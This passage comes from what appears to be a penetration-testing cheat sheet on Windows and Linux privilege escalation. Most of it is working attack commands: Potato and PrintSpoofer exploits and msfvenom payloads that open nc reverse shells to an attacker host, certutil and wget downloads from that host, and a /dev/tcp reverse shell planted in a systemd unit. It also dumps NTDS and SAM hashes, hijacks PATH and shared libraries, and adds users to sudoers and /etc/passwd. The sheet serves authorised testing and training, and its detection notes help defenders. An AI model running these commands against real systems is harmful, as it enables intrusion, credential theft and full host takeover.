.\GodPotato-NET4.exe -cmd "cmd /c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" 446 447 # ── PrintSpoofer: fast/clean, needs Print Spooler ── 448 sc query Spooler 449 .\PrintSpoofer64.exe -i -c cmd # interactive SYSTEM 450 .\PrintSpoofer64.exe -c "C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" 451 452 # ── JuicyPotato: legacy builds only ── 453 .\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" -t * 454 455 # ── SweetPotato: auto-fallback combo ── 456 .\SweetPotato.exe -a "cmd /c C:\Temp\nc64.exe %LHOST% 443 -e cmd.exe" 457 ``` 458 ```bash 459 # Connect to the MSSQL foothold from Linux. 460 impacket-mssqlclient "$U":"$P"@$IP -windows-auth 461 ``` 462 463 ```text 464 # Commands entered at the mssqlclient SQL prompt. 465 SQL> enable_xp_cmdshell 466 SQL> xp_cmdshell whoami /priv 467 SQL> xp_cmdshell certutil -urlcache -f http://$LHOST/GodPotato-NET4.exe C:\Temp\gp.exe 468 SQL> xp_cmdshell C:\Temp\gp.exe -cmd "cmd /c net localgroup administrators $U /add" 469 ``` 470 471 > [!warning] Watch out 472 > **JuicyPotato is dead on Server 2019+ / Win10 1809+** (Microsoft killed the DCOM path) — reach for **GodPotato** or **PrintSpoofer** there. If Print Spooler is disabled, PrintSpoofer won't fire; GodPotato doesn't need it. The potato itself is quiet — the SYSTEM cmd/powershell spawned from `w3wp.exe`/`sqlservr.exe` (Event 4688) is the loud part. 473 474 #### 4 — AlwaysInstallElevated 475 476 ```batch 477 :: ── BOTH keys must be 0x1 ── 478 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 479 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 480 ``` 481 ```bash 482 # ── [ATTACKER] build a SYSTEM MSI ── 483 msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f msi -o evil.msi 484 ``` 485 ```batch 486 :: ── [TARGET] install silently → SYSTEM shell ── 487 msiexec /quiet /qn /norestart /i C:\Windows\Temp\evil.msi 488 :: or PowerUp's user-add MSI 489 ``` 490 ```powershell 491 Import-Module .\PowerUp.ps1; Write-UserAddMSI 492 ``` 493 494 > [!note] Loud but reliable: MSI install writes Event 11707 (MsiInstaller) and the service/executable artifacts land under `C:\Program Files`. Remove the installed product (`msiexec /x`) after proving the path. MITRE [T1548.002](https://attack.mitre.org/techniques/T1548/002/). 495 496 #### 5 — Unquoted service path 497 498 ```batch 499 wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ 500 icacls "C:\Program Files\Some Folder\" :: can I write an intermediate dir? 501 ``` 502 ```bash 503 msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o Some.exe 504 ``` 505 ```batch 506 copy Some.exe "C:\Program Files\Some.exe" 507 sc stop VulnSvc & sc start VulnSvc 508 ``` 509 510 > [!warning] Watch out 511 > Unquoted paths are *commonly found but rarely exploitable* — writing to `C:\` or `C:\Program Files` needs admin, and I usually can't restart the service (wait for reboot). Report it, but don't hang the whole box on it. Weak service **perms** below are the real win. 512 513 #### 6 — Weak service perms (binary / DACL / registry) 514 515 **What to look for:** `SERVICE_CHANGE_CONFIG` / `SERVICE_ALL_ACCESS` for my user, a writable service `.exe`, or a writable service registry key. 516 517 ```batch 518 :: modifiable services / binaries 519 accesschk.exe /accepteula -uwcqv "Authenticated Users" * 520 accesschk.exe /accepteula -uwcqv "Users" * 521 accesschk.exe /accepteula -quvcw VulnSvc 522 icacls "C:\Program Files\VulnApp\service.exe" 523 accesschk.exe /accepteula "%USERNAME%" -kvuqsw hklm\System\CurrentControlSet\Services 524 ``` 525 ```batch 526 :: ── (a) weak service DACL: read the SDDL, then reconfigure binpath ── 527 sc sdshow VulnSvc :: D: A;;CCLCSWRPWPDTLOCRRC;;;SY ... look for your SID/group with RPWP 528 sc config VulnSvc binpath= "cmd /c net localgroup administrators %USERNAME% /add" 529 sc stop VulnSvc & sc start VulnSvc 530 net localgroup administrators 531 :: cleanup: restore original binpath (and SDDL if changed: sc sdset VulnSvc "D:(...)") 532 sc config VulnSvc binpath= "C:\Program Files\VulnApp\service.exe" 533 534 :: ── (b) writable binary → replace it ── 535 copy /Y C:\Windows\Temp\payload.exe "C:\Program Files\VulnApp\service.exe" 536 sc stop VulnSvc & sc start VulnSvc 537 ``` 538 ```powershell 539 # ── (c) writable registry ImagePath ── 540 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\VulnSvc" -Name ImagePath -Value "C:\Windows\Temp\payload.exe" 541 Restart-Service VulnSvc 542 ``` 543 544 > [!tip] The service will "fail to start" — that's fine, the command already ran as **LocalSystem**. Always revert the binpath afterward or you break the service and leave a loud artifact (**Event 7045** new/changed service, 4657 registry change). MITRE [T1543.003](https://attack.mitre.org/techniques/T1543/003/) / [T1574](https://attack.mitre.org/techniques/T1574/). 545 546 > [!opsec] OPSEC / detection — service abuse 547 > `sc config` / `sdset` changes are written to the registry under `HKLM\SYSTEM\CurrentControlSet\Services\<svc>` and logged (Sysmon 13, 4657, 7045 on start). Prefer: (1) record the original `binpath`/SDDL (`sc qc`, `sc sdshow`) *before* touching anything, (2) use the `cmd /c <one-shot>` binpath form so no binary is dropped, (3) restore immediately after the callback lands, (4) if the box is monitored, consider the **writable-binary** variant instead — replacing an existing EXE leaves no service-config event at all (but does trip file-integrity/AV scans). 548 549 **DLL search-order table** (for the DLL-hijack deep dive below — Safe DLL Search Mode ON, the default): 550 551 | # | Location searched | Abusable when | 552 |---|---|---| 553 | 1 | **Application's own directory** | app folder writable by me → drop the DLL here (the classic) | 554 | 2 | `C:\Windows\System32` | admin-only (or via SeManageVolume/SeRestore write) | 555 | 3 | `C:\Windows\System` | admin-only | 556 | 4 | `C:\Windows` | admin-only | 557 | 5 | **Current working directory** | pushed low by Safe DLL Search; abusable via writable CWD + relative launch | 558 | 6 | **PATH directories (in order)** | a user-writable dir sits on the SYSTEM PATH → plant DLL ([T1574.001](https://attack.mitre.org/techniques/T1574/001/)) | 559 560 #### 7 — Credential hunting: autologon, unattend, cmdkey, history 561 562 Quick local sweep here — the full playbook (SYSVOL cpassword, DPAPI, KeePass, browser stores, config files) lives in [Stage 08 — Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting). 563 564 ```batch 565 :: ── plaintext autologon creds ── 566 reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" :: DefaultUserName/DefaultPassword 567 :: ── unattended-install leftovers (cleartext or Base64 creds) ── 568 where /R C:\ unattend.xml 569 type C:\Windows\Panther\unattend.xml 570 type C:\Windows\System32\Sysprep\sysprep.xml 571 :: ── saved creds → runas ── 572 cmdkey /list 573 runas /savecred /user:%USERDOMAIN%\Administrator "cmd.exe /c C:\Windows\Temp\nc64.exe %LHOST% 443 -e cmd.exe" 574 :: ── config-file sweep ── 575 findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml 576 ``` 577 ```powershell 578 # ── PowerShell history (all users), then spray reuse everywhere ── 579 foreach($u in (ls C:\users).fullname){cat "$u\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue} 580 ``` 581 582 > [!note] Password reuse is rampant — any credential I find (history file, Sticky Notes, web.config) gets sprayed across every reachable host. Re-enumerate after every priv gain: files readable as admin that weren't readable before often hold the domain keys. 583 584 #### 8 — AD privileged-group abuse (on/against a DC) 585 586 **What to look for:** `whoami /groups` showing **Backup Operators, Server Operators, Print Operators, DnsAdmins**, or Account Operators. Each is a direct or near-direct path to DC/SYSTEM. 587 588 ```batch 589 whoami /groups | findstr /i "Backup Server Print DnsAdmins Account" 590 ``` 591 592 **Backup Operators** — `SeBackup`/`SeRestore` read *any* file → grab NTDS + SYSTEM → offline hashes (🟣 Attack): 593 ```powershell 594 whoami /priv # SeBackupPrivilege / SeRestorePrivilege 595 robocopy /B C:\Windows\NTDS C:\Temp ntds.dit # backup-mode copy bypasses the lock/ACL 596 reg save HKLM\SYSTEM C:\Temp\SYSTEM 597 ``` 598 ```bash 599 # remote, no logon needed: 600 reg.py "$DOMAIN/$U:$P"@$DC save -keyName 'HKLM\SAM' -o SAM 601 reg.py "$DOMAIN/$U:$P"@$DC save -keyName 'HKLM\SYSTEM' -o SYSTEM 602 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL 603 ``` 604 605 **Server Operators** — can manage services on the DC → make one run as SYSTEM (🟣 Attack): 606 ```batch 607 sc.exe \\%COMPUTERNAME% query type=own | findstr SERVICE_NAME 608 sc.exe \\DC01 config VSS binPath= "cmd.exe /c net localgroup Administrators %USERNAME% /add" 609 sc.exe \\DC01 stop VSS & sc.exe \\DC01 start VSS 610 ``` 611 612 **Print Operators** — `SeLoadDriverPrivilege` → load a vulnerable driver (🟣 Attack): 613 ```batch 614 whoami /priv :: SeLoadDriverPrivilege Enabled 615 EoPLoadDriver.exe System\CurrentControlSet\MyDriver C:\Tools\Capcom.sys 616 ExploitCapcom.exe :: SYSTEM shell (BYOVD on modern builds) 617 ``` 618 619 **DnsAdmins** — DNS runs as SYSTEM; load a plugin DLL (🟣 Attack): 620 ```bash 621 msfvenom -p windows/x64/exec cmd='net group "domain admins" '"$U"' /add /domain' -f dll -o evil.dll 622 smbserver.py share /path/to/dll/ -smb2support 623 ``` 624 ```powershell 625 dnscmd $DC /config /serverlevelplugindll \\$LHOST\share\evil.dll 626 sc \\$DC stop dns; sc \\$DC start dns # DLL executes as SYSTEM 627 # CLEANUP immediately or DNS stays broken: 628 reg delete "\\$DC\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /f 629 sc \\$DC start dns 630 ``` 631 632 > [!warning] Watch out 633 > **DnsAdmins and Server Operators are destructive** — the DLL crashes DNS for the whole domain until cleanup, and a broken service on a DC is very visible. Get explicit authorization, restore config the moment you've proven it, and delete `ServerLevelPluginDll` / revert the binpath. `SeLoadDriverPrivilege` (Print Operators) is blocked for HKCU driver refs since Win10 1803 — use `EoPLoadDriver` which registers under a writable key, and BYOVD only where driver-signing enforcement allows it. 634 635 > [!tip] Cleanup is part of the job on every one of these: revert service binpaths, remove added users, delete registry keys, restore file ownership — and document each change for the report. 636 637 #### 9 — MSSQL admin → OS command execution 638 639 **What to look for:** I'm `sysadmin` on MSSQL (found via creds, or the foothold *is* the SQL service). Two escalation paths: `xp_cmdshell`, or **Agent jobs** (survive when xp_cmdshell is blocked/removed). 640 641 ```text 642 -- at the SQL prompt (impacket-mssqlclient / sqlcmd) — enable + execute 643 SQL> enable_xp_cmdshell 644 SQL> xp_cmdshell whoami 645 -- then potato it (§3) if the service account has SeImpersonate (default for MSSQL) 646 647 -- Agent-job route (works when sp_OACreate / xp_cmdshell are hardened away): 648 USE msdb; 649 EXEC sp_add_job @job_name = 'pwnd'; 650 EXEC sp_add_jobstep @job_name = 'pwnd', @step_name = 'x', 651 @subsystem = 'PowerShell', 652 @command = 'powershell -enc <base64_revshell>'; 653 EXEC sp_add_jobserver @job_name = 'pwnd'; 654 EXEC sp_start_job @job_name = 'pwnd'; 655 -- cleanup: EXEC sp_delete_job @job_name = 'pwnd'; 656 ``` 657 658 > [!tip] MSSQL enumeration, linked servers, and the full attack surface: [Stage 03 — Service Enumeration](/sheets/pentest-workflow/service-enumeration). `xp_cmdshell` runs as the **service account** — check `whoami /priv` in its output for `SeImpersonatePrivilege` (GodPotato path, §3). Agent jobs can also run as a proxy account with *different* privileges than the SQL service — sometimes that's the escalation. 659 660 #### 10 — SCCM / WSUS / management-infra abuse 661 662 **What to look for:** signs the box is managed by SCCM (`C:\Windows\CCM`, `ccmexec.exe`) or a WSUS client (`HKLM\...\WindowsUpdate\AU` pointing at an internal HTTP server). 663 664 - **SCCM** — hunt credentials and devices with [sccmhunter](https://github.com/garrettfoster13/sccmhunter) (`find`, `smb`, `show` modules from the attack box), abuse client push / application deployment with [SharpSCCM](https://github.com/Mayyhem/SharpSCCM) on-host (`.\SharpSCCM.exe get naa` recovers Network Access Account creds from WMI policy — a classic local-admin harvest). Full module: [sibling notes](/sheets/pentest-workflow/adcs-and-certificate-abuse) and Stage 03 service enum. 665 - **WSUS over HTTP** — the update path is unsigned-metadata over HTTP; inject a fake "update" that runs a PsExec-style command as SYSTEM (concept: [SharpWSUS](https://github.com/nettitude/SharpWSUS) / pywsus). Requires control of or MitM to the WSUS server — usually a *post*-compromise lateral move, not a first privesc. 666 667 > [!warning] Watch out 668 > SCCM `get naa` touches WMI on the site server path; fake WSUS updates **change machine state domain-wide** if scoped wrong. Both need explicit authorization and tight cleanup notes. 669 670 #### 11 — Secondary logon & token tools: RunasCs + incognito 671 672 **What to look for:** I have *credentials* for a higher-priv user but no interactive session (no runas GUI, `runas` needs a console), or a SYSTEM box where I want to become a specific user. 673 674 ```powershell 675 # ── RunasCs (link-only: https://github.com/antonioCoco/RunasCs) — runas that works 676 # from ANY shell, supports remote/forced logon types and reverse shells ── 677 .\RunasCs.exe lowadmin 'Pass123!' powershell -r $LHOST:443 678 .\RunasCs.exe lowadmin 'Pass123!' cmd -l 3 # logon type 3 = network (no profile, quiet) 679 # ── Meterpreter incognito (post-exploit module) — list & steal live tokens ── 680 meterpreter > load incognito 681 meterpreter > list_tokens -u 682 meterpreter > impersonate_token "DOMAIN\\Administrator" # token must exist (user logged in / service running) 683 meterpreter > getsystem # technique 1 = impersonation variant of the potato idea 684 ``` 685 686 > [!note] `incognito` steals **existing** tokens only — if the target user has never logged on since boot (no delegation token), there's nothing to steal. `runas /netonly` (Stage 08) creates a *local* process with remote creds — different primitive, useful for AD tooling, not local privesc. 687 688 #### 12 — Windows kernel/local privesc CVEs (last resort) 689 690 **What to look for:** `systeminfo` output fed to [WES-NG](https://github.com/bitsadmin/wesng) / [Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) offline, missing-patch diff pointing at a privesc CVE. Same rule as Linux: **misconfigs first, kernel last** — a blue screen on a client's DC ends engagements. 691 692 | CVE / name | Affects | Vector | Caution | 693 |---|---|---|---| 694 | MS16-032 (Secondary Logon) | Vista→2012 R2, pre-MS16-032 | PowerShell race → SYSTEM | PSv2+; reliable-ish, old targets only | 695 | CVE-2021-36934 HiveNightmare | Win10 1809+ / Server 2019+ with VSS shadow | SAM/SECURITY/SYSTEM hives **world-readable** → dump local hashes | read-only, non-destructive — try early; check `icacls C:\Windows\System32\config\SAM` | 696 | CVE-2021-1675 / CVE-2021-34527 PrintNightmare | Spooler on, point-and-print | driver load → SYSTEM | loud, needs auth; patched mid-2021 but stragglers persist | 697 | CVE-2022-21999 SpoolFool | Spooler on | dir-primitive → DLL write → SYSTEM | PoC-only class; verify build | 698 | PwnKit-class Windows analogues (token/ALPC bugs) | varies | varies | treat as memory-corruption risk unless logic bug | 699 700 ```powershell 701 # HiveNightmare quick check — BUILTIN\Users read on the SAM hive = vulnerable 702 icacls C:\Windows\System32\config\SAM 703 ``` 704 705 > [!danger] Kernel exploit caution (Windows) 706 > Same discipline as Linux §7: (1) config/group/token paths first, (2) prefer *logic* bugs (HiveNightmare is a permissions bug — no crash risk) over memory corruption, (3) verify the exact build against WES-NG output, (4) expect BSOD possibility and get sign-off, (5) document. Detection: **Event 4688** (process creation), **7045** (new service), **4672** (special privileges assigned) will light up on nearly every escalation here — assume a monitored box sees the *effect* even when the exploit itself is fileless. 707 708 > [!opsec] Detection cheat-sheet (what the blue team sees) 709 > | Artifact | Event / source | 710 > |---|---| 711 > | New or reconfigured service | 7045 (System), 4697, SC Manager logs | 712 > | SYSTEM child of `w3wp.exe`/`sqlservr.exe` | 4688 process creation (potatoes) | 713 > | Token privileges granted/used | 4672 / 4673 (sensitive privilege use) | 714 > | LSASS access | Sysmon 10 (process access, GrantedAccess 0x1010) | 715 > | Registry ImagePath / Run key change | 4657, Sysmon 12–14 | 716 > | `wevtutil` / log tampering | 1102 (log cleared) — never clear logs, exfiltrate and leave them | 717 718 --- 719 720 ### 👥 Privileged group shortcuts (why `whoami /groups` matters) 721 722 **What to look for** → `whoami /groups` (or a BloodHound `MemberOf`) showing a built-in operator group. Several are a direct escalation without any CVE: 723 724 - **Account Operators** → create users and reset/modify any non-protected account, and log on to the DC. Pivot: create a user and drop it into a non-protected group that holds an ACL edge (STAGE 6), or reset a service account's password. Deep dive: 🟣 Attack. 725 - **Backup Operators** → read any file via `SeBackupPrivilege` → grab `NTDS.dit` + `SYSTEM` off the DC (see STAGE 9/10), *not* the local SAM. Deep dive: 🟣 Attack. 726 - **Server Operators** → control services on the DC → reconfigure one to run your payload as `SYSTEM`. Deep dive: 🟣 Attack. 727 - **Print Operators** → `SeLoadDriverPrivilege` → load a malicious driver. Deep dive: 🟣 Attack. 728 - **DnsAdmins** → DLL injection into the DNS service (`dns.exe`) → `SYSTEM` on the DC. Deep dive: 🟣 Attack. 729 - **Event Log Readers** → not direct privesc, but **sensitive-log scraping** is a credential mine: PowerShell transcription/ScriptBlock logs (4104), command-line auditing (4688 with cmdline), and RDP/auth logs routinely contain passwords typed as arguments, connection strings, and `-p` flags: 730 ```powershell 731 Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {$_.Message -match "pass|pwd|token"} | Select -First 20 732 wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /c:200 | findstr /i "password" 733 ``` 734 - **Hyper-V Administrators** → Full control of VMs on the host: swap/replace a running VM's virtual hard disk (`HardDiskDrive` ACL manipulation or VHDX swap → boot a VM you control, mount the original disk offline) → loot the VM's hives/creds. Also a path to the host via `vmwp.exe` vulnerabilities on old builds. 735 - **Remote Management Users** → WinRM access (foothold, not privesc) — but combined with the groups above it's the execution channel. 736 ### 🐧 Linux PrivEsc — Deeper Vectors (PATH · NFS · Docker/LXD · LD_PRELOAD · wildcard · systemd) 737 738 Depth behind STAGE 9's one-liners — the manual mechanics, the vectors the automated one-liners only hint at, and the gotchas the Linux PrivEsc module teaches. Same loop: find the **trust boundary** where a root process (cron, SUID binary, root's own session, an NFS export) trusts something I can write, and step through it. Full command index: [Linux PrivEsc Cheat Sheet](/sheets/privilege-escalation/linux-privesc). 739 740 #### A — PATH hijack a root-run *unqualified* command 741 742 **What to look for:** a root cron job / SUID binary / sudoers script that calls a helper by bare name (`conncheck`, `service`, `backup`) instead of an absolute path, plus a writable dir sitting earlier in that process's `PATH`. 743 744 ```bash 745 # find writable dirs on PATH + which root scripts call bare command names 746 echo $PATH 747 find / -path /proc -prune -o -type d -perm -o+w -print 2>/dev/null # world-writable dirs 748 grep -rE '^[^/#]*\b(cp|tar|service|backup|conncheck)\b' /etc/cron* /opt /usr/local 2>/dev/null 749 strings /path/to/suid_bin | grep -vE '^/' # SUID calling a bare name → hijackable 750 ``` 751 ```bash 752 # drop a same-named payload in a dir that resolves before the real binary 753 PATH=.:${PATH}; export PATH 754 printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n' > conncheck 755 chmod +x conncheck 756 # when the root job fires: /tmp/rootbash -p → root euid 757 ``` 758 759 > [!warning] Watch out 760 > `sudo -l` showing `secure_path=...` **kills PATH abuse for that sudoers entry** — sudo rebuilds PATH from `secure_path`, so a hijack only works against cron/SUID/scripts, not that sudo command. A SUID binary calling `system("service …")` runs the child through `/bin/sh` and *does* honour my PATH — that's the classic win. Details: 2 - Cron Jobs & Scheduled Task Abuse. 761 762 #### B — Wildcard / argument injection (beyond `tar --checkpoint`) 763 764 **What to look for:** a root cron/script running a command with a bare `*` over a directory I can write to — `tar -zcf bak.tgz *`, `chown -R x *`, `rsync … *`. The glob expands my crafted filenames straight into the command's argv. 765 766 ```bash 767 # tar → cleaner payload than a revshell: grant myself NOPASSWD (survives, no listener) 768 echo 'echo "'"$U"' ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh 769 echo "" > "--checkpoint-action=exec=sh root.sh" 770 echo "" > "--checkpoint=1" 771 # next tar run → sudo su ; done 772 ``` 773 ```bash 774 # rsync wildcard → -e runs a command as the remote-shell 775 touch "shell.sh"; echo 'cp /bin/bash /tmp/rb;chmod +s /tmp/rb' > shell.sh 776 touch "-e sh shell.sh" # rsync … * -> rsync -e sh shell.sh 777 # chown/chmod wildcard → --reference clones a file's owner/mode onto the glob 778 touch "--reference=/tmp/pwned" # chown -R root:root * hands me ownership 779 ``` 780 781 > [!tip] `tar`, `rsync`, `chown`, `chmod`, `7z` all have GTFOBins-documented wildcard/argv abuse. Confirm the job is *live* with `pspy64 -pf` before planting files — a stale-looking backup script that never fires wastes the window. Absolute-path args + a leading `--` separator are the fix, so their absence is the tell. 782 783 #### C — NFS `no_root_squash` → SUID shell staged as attacker-root 784 785 **What to look for:** an NFS export marked `no_root_squash` (or `no_all_squash`). Normally root on a client is squashed to `nfsnobody`; `no_root_squash` lets me create **root-owned SUID files** on the share from my own box (where I *am* root). 786 787 ```bash 788 # ── [ATTACKER] enumerate exports, no creds needed ── 789 showmount -e $IP 790 # on target, confirm the flag: cat /etc/exports → /var/nfs/general *(rw,no_root_squash) 791 ``` 792 ```bash 793 # ── [ATTACKER, as real root] build a setuid shell (no -p needed) and stage it ── 794 cat > shell.c <<'EOF' 795 int main(void){ setuid(0); setgid(0); system("/bin/bash"); } 796 EOF 797 gcc shell.c -o shell -static # -static dodges target glibc mismatch 798 sudo mount -t nfs $IP:/tmp /mnt 799 cp shell /mnt && chmod u+s /mnt/shell 800 # ── [TARGET] low-priv session ── /tmp/shell → uid=0 801 ``` 802 803 > [!warning] Watch out 804 > I must be **root on my own box** for the `chmod u+s` to stick with root ownership across the mount — that's the whole mechanism. `cp /bin/bash` works too but then you need `bash -p` on target to keep euid; a hand-rolled `setuid(0)` binary doesn't. If the mount errors, the export is likely `root_squash` (safe default) and this path is dead. LinPEAS flags `no_root_squash` automatically. See 9 - Remaining Vectors & Skills Checklist. 805 806 #### D — `docker` group / writable `docker.sock` (root-equivalent, no CVE) 807 808 **What to look for:** my `id` shows the `docker` group, a SUID/sudo `docker`, **or** a readable/writable `/var/run/docker.sock` (on host *or* inside a container). Any of these = full host filesystem, because Docker mounts arbitrary host paths into a container I control. 809 810 ```bash 811 id | grep -o 'docker' 812 ls -la /var/run/docker.sock # srw-rw---- and I can reach it? 813 find / -name docker.sock 2>/dev/null # from inside a container too 814 ``` 815 ```bash 816 # ── docker group on host: mount host / into a throwaway container and chroot in ── 817 docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash # you ARE the host now 818 docker run -v /root:/mnt -it ubuntu # or just grab /root, /etc/shadow 819 820 # ── writable socket from inside a container (docker CLI may be absent → stage it) ── 821 wget http://$LHOST/docker -O /tmp/docker && chmod +x /tmp/docker 822 /tmp/docker -H unix:///var/run/docker.sock run --rm -d --privileged -v /:/hostsystem ubuntu 823 /tmp/docker -H unix:///var/run/docker.sock ps # grab the new container id 824 /tmp/docker -H unix:///var/run/docker.sock exec -it <id> cat /hostsystem/root/.ssh/id_rsa 825 ``` 826 827 > [!note] Before any socket trick, check for a **bind-mounted host dir** inside the container (`/hostsystem`, weird top-level paths) — reading `/hostsystem/home/*/.ssh/id_rsa` and SSHing to the host is faster than spawning a sibling container. `deepce` automates all of this from a container foothold. Full walk-through: 6 - Docker Privilege Escalation. (LXD/LXC group is already in STAGE 9 §6.) 828 829 #### E — Writable `/etc/passwd` or `/etc/shadow` 830 831 **What to look for:** `/etc/passwd` or `/etc/shadow` world-writable (or reachable via a `cap_dac_override` binary / Dirty Pipe). Add a root-UID user, or blank root's password. Same logic applies to a **writable `/etc/sudoers`** (rare but instant: add `$U ALL=(ALL) NOPASSWD: ALL`). 832 833 ```bash 834 ls -l /etc/passwd /etc/shadow /etc/sudoers 835 find / -writable -name passwd -o -writable -name shadow 2>/dev/null 836 ``` 837 ```bash 838 # ── writable /etc/passwd: append a second UID-0 account with a known password ── 839 openssl passwd -1 -salt x Pass123 # -> $1$x$.... 840 echo 'r00t:$1$x$hashfromabove:0:0:root:/root:/bin/bash' >> /etc/passwd 841 su r00t # Pass123 → uid=0 842 843 # ── cap_dac_override binary (e.g. vim.basic) bypasses perms → blank root's pw field ── 844 getcap -r / 2>/dev/null | grep cap_dac_override 845 echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd 846 su root # no password prompt at all 847 ``` 848 849 > [!warning] Watch out 850 > Modern `/etc/passwd` uses `x` (password in shadow), so editing passwd only helps if I *add* a full hash inline (as above) — the system honours an inline `$1$…` over the `x`/shadow redirection. `cap_dac_override`, `cap_setuid`, `cap_setgid` are invisible to `ls -l`; only `getcap` shows them. See 8 - Kernel Exploits, SUID-SGID & Capabilities. 851 852 #### F — Shared-library hijack: RUNPATH · LD_LIBRARY_PATH · ld.so.preload 853 854 **What to look for:** a SUID/root binary linked against a **non-standard `.so`** whose search path (RUNPATH/RPATH, or an env-kept `LD_LIBRARY_PATH`) points somewhere writable. Broader than the `env_keep+=LD_PRELOAD` one-liner already in STAGE 9 §2. 855 856 ```bash 857 ldd /path/to/suid_bin # any lib in a weird/writable dir? 858 readelf -d /path/to/suid_bin | grep -E 'RPATH|RUNPATH' # runpath checked BEFORE system dirs 859 ./suid_bin # run it first: "undefined symbol: dbquery" names the fn to export 860 ``` 861 ```bash 862 # ── build a malicious .so exporting the SAME symbol the binary calls ── 863 cat > src.c <<'EOF' 864 #include <stdlib.h> 865 #include <unistd.h> 866 void dbquery(){ setuid(0); system("/bin/sh -p"); } // match the missing symbol name 867 EOF 868 gcc src.c -fPIC -shared -o /development/libshared.so # /development = the writable RUNPATH dir 869 ./suid_bin # loads my lib as root 870 871 # ── env-kept LD_LIBRARY_PATH via sudo, same idea without a writable RUNPATH ── 872 sudo LD_LIBRARY_PATH=/tmp <allowed_cmd> 873 ``` 874 875 > [!tip] The fake `.so` **must export every symbol the binary actually calls**, or it won't load — run the binary unmodified first to read the `undefined symbol` name. `-p` on `sh`/`bash` preserves the SUID euid. A SUID binary that can write `/etc/ld.so.preload` (e.g. **Screen 4.5.0**) is the nuclear version — one line there preloads my lib into *every* dynamically-linked process system-wide. Deep dive: 9 - Remaining Vectors & Skills Checklist / env side in 4 - Escaping Restricted Shells & Environment Variable Abuse. 876 877 #### G — Python library hijacking (3 flavours) 878 879 **What to look for:** a **SUID or `sudo`-run Python script**. I don't need a bug in the script — I hijack a module it imports. 880 881 ```bash 882 # 1) writable module SOURCE — inject into a function the script calls 883 pip3 show psutil # -> install Location 884 ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py # world-writable? 885 # prepend to the imported function: import os; os.system('id') 886 887 # 2) sys.path priority — drop a same-named module in a higher-priority WRITABLE dir 888 python3 -c 'import sys; print("\n".join(sys.path))' 889 ls -ld /usr/lib/python3.8 # earlier in sys.path AND writable → wins 890 printf 'import os\ndef virtual_memory():\n os.system("/bin/bash -p")\n' > /usr/lib/python3.8/psutil.py 891 892 # 3) PYTHONPATH — needs SETENV in sudoers, no writable path anywhere 893 sudo -l | grep SETENV # (ALL) SETENV: NOPASSWD: /usr/bin/python3 894 sudo PYTHONPATH=/tmp/ /usr/bin/python3 /path/mem_status.py # my /tmp/psutil.py imported first as root 895 ``` 896 897 > [!note] Python imports the **first** `sys.path` match — a writable dir *earlier* in the list beats the real package even when the package itself is untouchable. An `AttributeError` traceback *after* `id` prints is fine: code execution already happened, the crash is just my stub missing attributes. From 9 - Remaining Vectors & Skills Checklist. 898 899 #### H — systemd service & timer abuse 900 901 **What to look for:** a writable `.service`/`.timer` unit, a writable binary referenced by `ExecStart`, or `sudo systemctl`. 902 903 ```bash 904 systemctl list-timers --all 905 find /etc/systemd/ /lib/systemd/ /run/systemd/ -writable -name '*.service' -o -writable -name '*.timer' 2>/dev/null 906 systemctl cat <svc> | grep ExecStart # is the target binary writable by me? 907 ``` 908 ```bash 909 # ── writable unit → point ExecStart at a revshell, reload, fire ── 910 mkdir -p ~/.x; printf '[Service]\nType=oneshot\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/'"$LHOST"'/443 0>&1"\n[Install]\nWantedBy=multi-user.target\n' > /etc/systemd/system/x.service 911 systemctl daemon-reload && systemctl start x.service 912 # ── sudo systemctl (GTFOBins): pager escape ── 913 sudo systemctl status trail.service # then at the pager: !sh 914 # no pager? sudo systemctl → set a temp unit as above, or `sudo systemctl edit --full <svc>` and inject ExecStart 915 ``` 916 917 > [!warning] Watch out 918 > A writable **timer** is as good as a writable service — point its `Unit=` at anything I can influence and wait for the schedule. `logrotate` is the same family: writable log + a vulnerable `logrotate` (3.8.6/3.11.0/3.15.0/3.18.0) → `logrotten -p ./payload /tmp/tmp.log` races rotation into a root shell. MITRE [T1543.002](https://attack.mitre.org/techniques/T1543/002/) Systemd Service. **Cleanup:** remove the planted unit and `systemctl daemon-reload` again. 919 920 #### I — Sudo CVEs & sudoedit (when `sudo -l` is thin) 921 922 **What to look for:** an old `sudo` (`sudo -V | head -1`), a single harmless-looking sudo grant, or a `sudoedit`/`-e` entry. 923 924 ```bash 925 sudo -V | head -1 # version is the whole prereq for the heap bug 926 # Baron Samedit CVE-2021-3156 (< 1.9.5p2) — quick non-destructive DETECT before firing a PoC: 927 sudoedit -s '\' $(python3 -c 'print("A"*1000)') # "malloc(): ..." / segfault == vulnerable 928 ``` 929 ```bash 930 # ── Baron Samedit: blasty PoC, match target index to /etc/lsb-release ── 931 git clone https://github.com/blasty/CVE-2021-3156 && cd CVE-2021-3156 && make 